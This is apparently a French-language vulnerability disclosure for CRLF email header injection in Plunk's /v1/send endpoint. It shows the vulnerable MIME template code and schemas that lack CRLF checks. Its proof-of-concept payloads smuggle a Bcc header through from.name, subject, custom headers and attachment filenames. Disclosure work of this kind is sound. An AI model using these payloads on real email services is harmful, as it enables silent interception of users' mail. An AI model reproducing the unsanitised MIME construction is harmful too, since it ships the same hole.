
CRLF Email Header Injection dans Plunk via construction MIME brute — CVSS 8.5
Sévérité : Élevée (CVSS 8.5)
CWE : CWE-93 — Neutralisation incorrecte des séquences CRLF ('Injection CRLF')
Produit concerné : useplunk/plunk (toutes les versions antérieures au correctif)
Avis de sécurité : GHSA
NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-34975
Le point de terminaison POST /v1/send de Plunk construit un message e-mail MIME brut en interpolant des champs fournis par l'utilisateur (from.name, subject, en-têtes personnalisés, noms de fichiers de pièces jointes) directement dans une chaîne de modèle sans assainissement des CRLF (\r\n). Un utilisateur authentifié de l'API peut injecter des en-têtes d'e-mail arbitraires — y compris Bcc — pour rediriger silencieusement des copies d'e-mails vers des adresses contrôlées par l'attaquant.
J'auditais des plateformes open-source d'envoi d'e-mails — tout ce qui encapsule AWS SES et expose une API. Plunk est présenté comme une alternative conviviale pour les développeurs à SendGrid/Postmark, construite sur SES.
Mon point d'entrée était la fonction de construction d'e-mails bruts. Chaque fois que je vois rawMessage += ou des littéraux de modèle construisant du MIME, je vérifie si chaque champ fourni par l'utilisateur est assaini des CRLF. Dans SESService.ts, la réponse était clairement non : from.name, subject, les en-têtes personnalisés et les noms de fichiers de pièces jointes étaient tous interpolés directement.
Ce qui a confirmé que cela était exploitable : le schéma Zod (packages/shared/src/schemas/index.ts) n'avait aucun .regex() ou .refine() rejetant \r\n sur aucun de ces champs. Aucun assainissement au niveau du schéma, aucun assainissement au niveau de la construction MIME — chemin propre de l'entrée API à l'en-tête MIME injecté.
J'ai testé les quatre vecteurs (from.name, subject, valeur d'en-tête personnalisée, nom de fichier de pièce jointe) et confirmé que l'injection Bcc: fonctionne. Tout utilisateur authentifié de l'API avec un domaine d'expéditeur vérifié peut copier silencieusement chaque e-mail sortant vers une adresse contrôlée par l'attaquant. Le scénario d'attaque réaliste est une clé API compromise se transformant en interception persistante d'e-mails.
Fichier : apps/api/src/services/SESService.ts, lignes 137–151
// Construction MIME brute vulnérable
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// En-têtes personnalisés interpolés directement
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // valeur non assainie
}
// Nom de fichier de pièce jointe
`Content-Disposition: inline; filename="${attachment.filename}"` // non assaini
Schéma Zod (packages/shared/src/schemas/index.ts) — aucune validation CRLF :
headers: z.record(z.string().max(998)).optional() // aucune vérification \r\n
from: { name: z.string().optional() } // aucune vérification \r\n
subject: z.string().min(1).max(998) // aucune vérification \r\n
filename: z.string().min(1).max(255) // aucune vérification \r\n
La construction MIME brute exige que chaque valeur fournie par l'utilisateur soit dépouillée de \r\n avant l'interpolation. Plunk construit le message avec des littéraux de modèle et n'assainit aucun des quatre champs injectables. Les analyseurs SMTP interprètent \r\n comme une limite d'en-tête, donc injecter \r\nBcc: [email protected] dans from.name ajoute un véritable en-tête Bcc au message sortant.
Voir poc.py pour une démonstration complète avec quatre vecteurs d'injection.
Charge utile principale — injection Bcc via from.name :
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
MIME brut produit par SES :
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
SES livre une copie silencieuse à [email protected] avec chaque e-mail envoyé via la clé API compromise.
Autres vecteurs d'injection :
subject : "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To, Return-Path, Sender